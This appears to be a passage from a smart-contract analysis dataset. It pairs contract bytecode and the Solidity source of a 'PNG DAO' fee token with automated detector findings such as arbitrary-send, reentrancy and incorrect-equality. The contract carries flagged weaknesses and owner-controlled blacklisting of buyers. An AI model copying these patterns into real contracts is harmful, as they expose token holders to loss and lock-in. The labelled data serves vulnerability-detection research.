e16565b90505b92915050565b60008282018381101561062d57600080fd5b6102ab828261070d565b600254604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561068b573d6000803e3d6000fd5b50565b61069882826107c7565b6005546106b3826106a76102c3565b9063ffffffff61063616565b11156102ab57600080fd5b60008215156106cf57506000610630565b8282028284828115156106de57fe5b041461062d57600080fd5b60008082116106f757600080fd5b6000828481151561070457fe5b04949350505050565b610715610313565b600160a060020a03166340c10f1983836040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b15801561079057600080fd5b505af11580156107a4573d6000803e3d6000fd5b505050506040513d60208110156107ba57600080fd5b505115156102ab57600080fd5b600160a060020a03821615156107dc57600080fd5b8015156102ab57600080fdfea165627a7a72305820a5252825f920dd6ff99f5607c490ae69e5a510d32258b7094494378572b3ed040029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,364
0xe601781c5bc828225ec9c4eb2ccb952c3231fbf9
// SPDX-License-Identifier: Unlicensed /* ██████╗ ███╗ ██╗ ██████╗ ██████╗ █████╗ ██████╗ ██╔══██╗████╗ ██║██╔════╝ ██╔══██╗██╔══██╗██╔═══██╗ ██████╔╝██╔██╗ ██║██║ ███╗ ██║ ██║███████║██║ ██║ ██╔═══╝ ██║╚██╗██║██║ ██║ ██║ ██║██╔══██║██║ ██║ ██║ ██║ ╚████║╚██████╔╝ ██████╔╝██║ ██║╚██████╔╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ WEBSITE: https://pngdao.io TELEGRAM: https://t.me/pngdao */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract PNG is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); //PNG DAO the total supply uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "PNG DAO"; string private constant _symbol = "PNG"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; uint256 private _maxTxnAmount = 2; address payable private _feeAddress; // Uniswap Pair IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; bool private _txnLimit = false; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initNewPair(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function startTrading() external onlyOwner() { require(_initialized); _tradingOpen = true; _launchTime = block.timestamp; _txnLimit = true; } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function enableTxnLimit(bool onoff) external onlyOwner() { _txnLimit = onoff; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee < 5); _teamFee = fee; } function setMaxTxn(uint256 max) external onlyOwner(){ require(max>4); _maxTxnAmount = max; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x6080604052600436106101855760003560e01c806370a08231116100d1578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e14610498578063e6ec64ec146104de578063f2fde38b146104fe578063fc588c041461051e57600080fd5b8063a9059cbb14610438578063b515566a14610458578063cf0848f71461047857600080fd5b806370a082311461036f578063715018a61461038f5780637c938bb4146103a45780638da5cb5b146103c457806390d49b9d146103ec57806395d89b411461040c57600080fd5b8063313ce5671161013e5780633bbac579116101185780633bbac579146102c8578063437823ec14610301578063476343ee146103215780635342acb41461033657600080fd5b8063313ce5671461027457806331c2d847146102885780633a0f23b3146102a857600080fd5b806306d8ea6b1461019157806306fdde03146101a8578063095ea7b3146101ea57806318160ddd1461021a57806323b872dd1461023f578063293230b81461025f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661053e565b005b3480156101b457600080fd5b50604080518082019091526007815266504e472044414f60c81b60208201525b6040516101e19190611954565b60405180910390f35b3480156101f657600080fd5b5061020a6102053660046119ce565b61058a565b60405190151581526020016101e1565b34801561022657600080fd5b50678ac7230489e800005b6040519081526020016101e1565b34801561024b57600080fd5b5061020a61025a3660046119fa565b6105a1565b34801561026b57600080fd5b506101a661060a565b34801561028057600080fd5b506009610231565b34801561029457600080fd5b506101a66102a3366004611a51565b610670565b3480156102b457600080fd5b506101a66102c3366004611b16565b610706565b3480156102d457600080fd5b5061020a6102e3366004611b38565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561030d57600080fd5b506101a661031c366004611b38565b610743565b34801561032d57600080fd5b506101a6610791565b34801561034257600080fd5b5061020a610351366004611b38565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561037b57600080fd5b5061023161038a366004611b38565b6107cb565b34801561039b57600080fd5b506101a66107ed565b3480156103b057600080fd5b506101a66103bf366004611b38565b610823565b3480156103d057600080fd5b506000546040516001600160a01b0390911681526020016101e1565b3480156103f857600080fd5b506101a6610407366004611b38565b610a7e565b34801561041857600080fd5b50604080518082019091526003815262504e4760e81b60208201526101d4565b34801561044457600080fd5b5061020a6104533660046119ce565b610af8565b34801561046457600080fd5b506101a6610473366004611a51565b610b05565b34801561048457600080fd5b506101a6610493366004611b38565b610c1e565b3480156104a457600080fd5b506102316104b3366004611b55565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104ea57600080fd5b506101a66104f9366004611b8e565b610c69565b34801561050a57600080fd5b506101a6610519366004611b38565b610ca5565b34801561052a57600080fd5b506101a6610539366004611b8e565b610d3d565b6000546001600160a01b031633146105715760405162461bcd60e51b815260040161056890611ba7565b60405180910390fd5b600061057c306107cb565b905061058781610d79565b50565b6000610597338484610ef3565b5060015b92915050565b60006105ae848484611017565b61060084336105fb85604051806060016040528060288152602001611d22602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061143d565b610ef3565b5060019392505050565b6000546001600160a01b031633146106345760405162461bcd60e51b815260040161056890611ba7565b600d54600160a01b900460ff1661064a57600080fd5b600d805460ff60b81b1916600160b81b17905542600e55600f805460ff19166001179055565b6000546001600160a01b0316331461069a5760405162461bcd60e51b815260040161056890611ba7565b60005b8151811015610702576000600560008484815181106106be576106be611bdc565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106fa81611c08565b91505061069d565b5050565b6000546001600160a01b031633146107305760405162461bcd60e51b815260040161056890611ba7565b600f805460ff1916911515919091179055565b6000546001600160a01b0316331461076d5760405162461bcd60e51b815260040161056890611ba7565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600b5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610702573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461059b90611477565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161056890611ba7565b61082160006114fb565b565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161056890611ba7565b600d54600160a01b900460ff16156108b55760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610568565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611c23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a19190611c23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a129190611c23565b600d80546001600160a01b039283166001600160a01b0319918216178255600c805494841694821694909417909355600b8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161056890611ba7565b600b80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610597338484611017565b6000546001600160a01b03163314610b2f5760405162461bcd60e51b815260040161056890611ba7565b60005b815181101561070257600d5482516001600160a01b0390911690839083908110610b5e57610b5e611bdc565b60200260200101516001600160a01b031614158015610baf5750600c5482516001600160a01b0390911690839083908110610b9b57610b9b611bdc565b60200260200101516001600160a01b031614155b15610c0c57600160056000848481518110610bcc57610bcc611bdc565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c1681611c08565b915050610b32565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161056890611ba7565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610c935760405162461bcd60e51b815260040161056890611ba7565b60058110610ca057600080fd5b600855565b6000546001600160a01b03163314610ccf5760405162461bcd60e51b815260040161056890611ba7565b6001600160a01b038116610d345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610568565b610587816114fb565b6000546001600160a01b03163314610d675760405162461bcd60e51b815260040161056890611ba7565b60048111610d7457600080fd5b600a55565b600d805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc157610dc1611bdc565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3e9190611c23565b81600181518110610e5157610e51611bdc565b6001600160a01b039283166020918202929092010152600c54610e779130911684610ef3565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb0908590600090869030904290600401611c40565b600060405180830381600087803b158015610eca57600080fd5b505af1158015610ede573d6000803e3d6000fd5b5050600d805460ff60b01b1916905550505050565b6001600160a01b038316610f555760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610568565b6001600160a01b038216610fb65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610568565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661107b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610568565b6001600160a01b0382166110dd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610568565b6000811161113f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610568565b6001600160a01b03831660009081526005602052604090205460ff16156111e75760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610568565b6001600160a01b03831660009081526004602052604081205460ff1615801561122957506001600160a01b03831660009081526004602052604090205460ff16155b801561123f5750600d54600160a81b900460ff16155b801561126f5750600d546001600160a01b038581169116148061126f5750600d546001600160a01b038481169116145b1561142b57600d54600160b81b900460ff166112cd5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610568565b50600d546001906001600160a01b0385811691161480156112fc5750600c546001600160a01b03848116911614155b801561130a5750600f5460ff165b1561135b57600061131a846107cb565b9050611344606461133e600a54678ac7230489e8000061154b90919063ffffffff16565b906115ca565b61134e848361160c565b111561135957600080fd5b505b600e54421415611389576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611394306107cb565b600d54909150600160b01b900460ff161580156113bf5750600d546001600160a01b03868116911614155b1561142957801561142957600d546113f39060649061133e90600f906113ed906001600160a01b03166107cb565b9061154b565b81111561142057600d5461141d9060649061133e90600f906113ed906001600160a01b03166107cb565b90505b61142981610d79565b505b6114378484848461166b565b50505050565b600081848411156114615760405162461bcd60e51b81526004016105689190611954565b50600061146e8486611cb1565b95945050505050565b60006006548211156114de5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610568565b60006114e861176e565b90506114f483826115ca565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261155a5750600061059b565b60006115668385611cc8565b9050826115738583611ce7565b146114f45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610568565b60006114f483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611791565b6000806116198385611d09565b9050838110156114f45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610568565b8080611679576116796117bf565b600080600080611688876117db565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116b59085611822565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116e4908461160c565b6001600160a01b03891660009081526001602052604090205561170681611864565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161174b91815260200190565b60405180910390a3505050508061176757611767600954600855565b5050505050565b600080600061177b6118ae565b909250905061178a82826115ca565b9250505090565b600081836117b25760405162461bcd60e51b81526004016105689190611954565b50600061146e8486611ce7565b6000600854116117ce57600080fd5b6008805460095560009055565b6000806000806000806117f0876008546118ee565b9150915060006117fe61176e565b905060008061180e8a858561191b565b909b909a5094985092965092945050505050565b60006114f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061143d565b600061186e61176e565b9050600061187c838361154b565b30600090815260016020526040902054909150611899908261160c565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118c982826115ca565b8210156118e557505060065492678ac7230489e8000092509050565b90939092509050565b60008080611901606461133e878761154b565b9050600061190f8683611822565b96919550909350505050565b60008080611929868561154b565b90506000611937868661154b565b905060006119458383611822565b92989297509195505050505050565b600060208083528351808285015260005b8181101561198157858101830151858201604001528201611965565b81811115611993576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058757600080fd5b80356119c9816119a9565b919050565b600080604083850312156119e157600080fd5b82356119ec816119a9565b946020939093013593505050565b600080600060608486031215611a0f57600080fd5b8335611a1a816119a9565b92506020840135611a2a816119a9565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a6457600080fd5b823567ffffffffffffffff80821115611a7c57600080fd5b818501915085601f830112611a9057600080fd5b813581811115611aa257611aa2611a3b565b8060051b604051601f19603f83011681018181108582111715611ac757611ac7611a3b565b604052918252848201925083810185019188831115611ae557600080fd5b938501935b82851015611b0a57611afb856119be565b84529385019392850192611aea565b98975050505050505050565b600060208284031215611b2857600080fd5b813580151581146114f457600080fd5b600060208284031215611b4a57600080fd5b81356114f4816119a9565b60008060408385031215611b6857600080fd5b8235611b73816119a9565b91506020830135611b83816119a9565b809150509250929050565b600060208284031215611ba057600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c1c57611c1c611bf2565b5060010190565b600060208284031215611c3557600080fd5b81516114f4816119a9565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c905784516001600160a01b031683529383019391830191600101611c6b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611cc357611cc3611bf2565b500390565b6000816000190483118215151615611ce257611ce2611bf2565b500290565b600082611d0457634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611d1c57611d1c611bf2565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bf4d133ffb8c5b34867f494f2402db6a6ed8c1f08b3b7267354d62f007401c3064736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,365
0x7600998c19453e2a7d911d8c528f50a8928dafce
// pragma solidity ^0.5.0; interface TeamInterface { function isOwner() external view returns (bool); function isAdmin(address _sender) external view returns (bool); function isDev(address _sender) external view returns (bool); } interface PlatformInterface { function getAllTurnover() external view returns (uint256); function getTurnover(bytes32 _worksID) external view returns (uint256); function updateAllTurnover(uint256 _amount) external; function updateTurnover(bytes32 _worksID, uint256 _amount) external; function updateFoundAddress(address _foundation) external; function deposit(bytes32 _worksID) external payable; function transferTo(address _receiver, uint256 _amount) external; function getFoundAddress() external view returns (address payable); function balances() external view returns (uint256); } interface ArtistInterface { function getAddress(bytes32 _artistID) external view returns (address payable); function add(bytes32 _artistID, address _address) external; function hasArtist(bytes32 _artistID) external view returns (bool); function updateAddress(bytes32 _artistID, address _address) external; } interface WorksInterface { function addWorks( bytes32 _worksID, bytes32 _artistID, uint8 _debrisNum, uint256 _price, uint256 _beginTime ) external; function configRule( bytes32 _worksID, uint8 _firstBuyLimit, uint256 _freezeGap, uint256 _protectGap, uint256 _increaseRatio, uint256 _discountGap, uint256 _discountRatio, uint8[3] calldata _firstAllot, uint8[3] calldata _againAllot, uint8[3] calldata _lastAllot ) external; function publish(bytes32 _worksID, uint256 _beginTime) external; function close(bytes32 _worksID) external; function getWorks(bytes32 _worksID) external view returns (uint8, uint256, uint256, uint256, bool); function getDebris(bytes32 _worksID, uint8 _debrisID) external view returns (uint256, address, address, bytes32, bytes32, uint256); function getRule(bytes32 _worksID) external view returns (uint8, uint256, uint256, uint256, uint256, uint256, uint8[3] memory, uint8[3] memory, uint8[3] memory); function hasWorks(bytes32 _worksID) external view returns (bool); function hasDebris(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isPublish(bytes32 _worksID) external view returns (bool); function isStart(bytes32 _worksID) external view returns (bool); function isProtect(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isSecond(bytes32 _worksID, uint8 _debrisID) external view returns (bool); function isGameOver(bytes32 _worksID) external view returns (bool); function isFinish(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function hasFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function hasSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external view returns (bool); function getFirstUnionIds(bytes32 _worksID) external view returns (bytes32[] memory); function getSecondUnionIds(bytes32 _worksID) external view returns (bytes32[] memory); function getPrice(bytes32 _worksID) external view returns (uint256); function getDebrisPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getDebrisStatus(bytes32 _worksID, uint8 _debrisID) external view returns (uint256[4] memory, uint256, bytes32); function getInitPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getLastPrice(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getLastBuyer(bytes32 _worksID, uint8 _debrisID) external view returns (address payable); function getLastUnionId(bytes32 _worksID, uint8 _debrisID) external view returns (bytes32); function getFreezeGap(bytes32 _worksID) external view returns (uint256); function getFirstBuyLimit(bytes32 _worksID) external view returns (uint256); function getArtistId(bytes32 _worksID) external view returns (bytes32); function getDebrisNum(bytes32 _worksID) external view returns (uint8); function getAllot(bytes32 _worksID, uint8 _flag) external view returns (uint8[3] memory); function getAllot(bytes32 _worksID, uint8 _flag, uint8 _element) external view returns (uint8); function getPools(bytes32 _worksID) external view returns (uint256); function getPoolsAllot(bytes32 _worksID) external view returns (uint256, uint256[3] memory, uint8[3] memory); function getStartHourglass(bytes32 _worksID) external view returns (uint256); function getWorksStatus(bytes32 _worksID) external view returns (uint256, uint256, uint256, bytes32); function getProtectHourglass(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function getDiscountHourglass(bytes32 _worksID, uint8 _debrisID) external view returns (uint256); function updateDebris(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address _sender) external; function updateFirstBuyer(bytes32 _worksID, uint8 _debrisID, bytes32 _unionID, address _sender) external; function updateBuyNum(bytes32 _worksID, uint8 _debrisID) external; function finish(bytes32 _worksID, bytes32 _unionID) external; function updatePools(bytes32 _worksID, uint256 _value) external; function updateFirstUnionIds(bytes32 _worksID, bytes32 _unionID) external; function updateSecondUnionIds(bytes32 _worksID, bytes32 _unionID) external; } interface PlayerInterface { function hasAddress(address _address) external view returns (bool); function hasUnionId(bytes32 _unionID) external view returns (bool); function getInfoByUnionId(bytes32 _unionID) external view returns (address payable, bytes32, uint256); function getUnionIdByAddress(address _address) external view returns (bytes32); function isFreeze(bytes32 _unionID, bytes32 _worksID) external view returns (bool); function getFirstBuyNum(bytes32 _unionID, bytes32 _worksID) external view returns (uint256); function getSecondAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256); function getFirstAmount(bytes32 _unionID, bytes32 _worksID) external view returns (uint256); 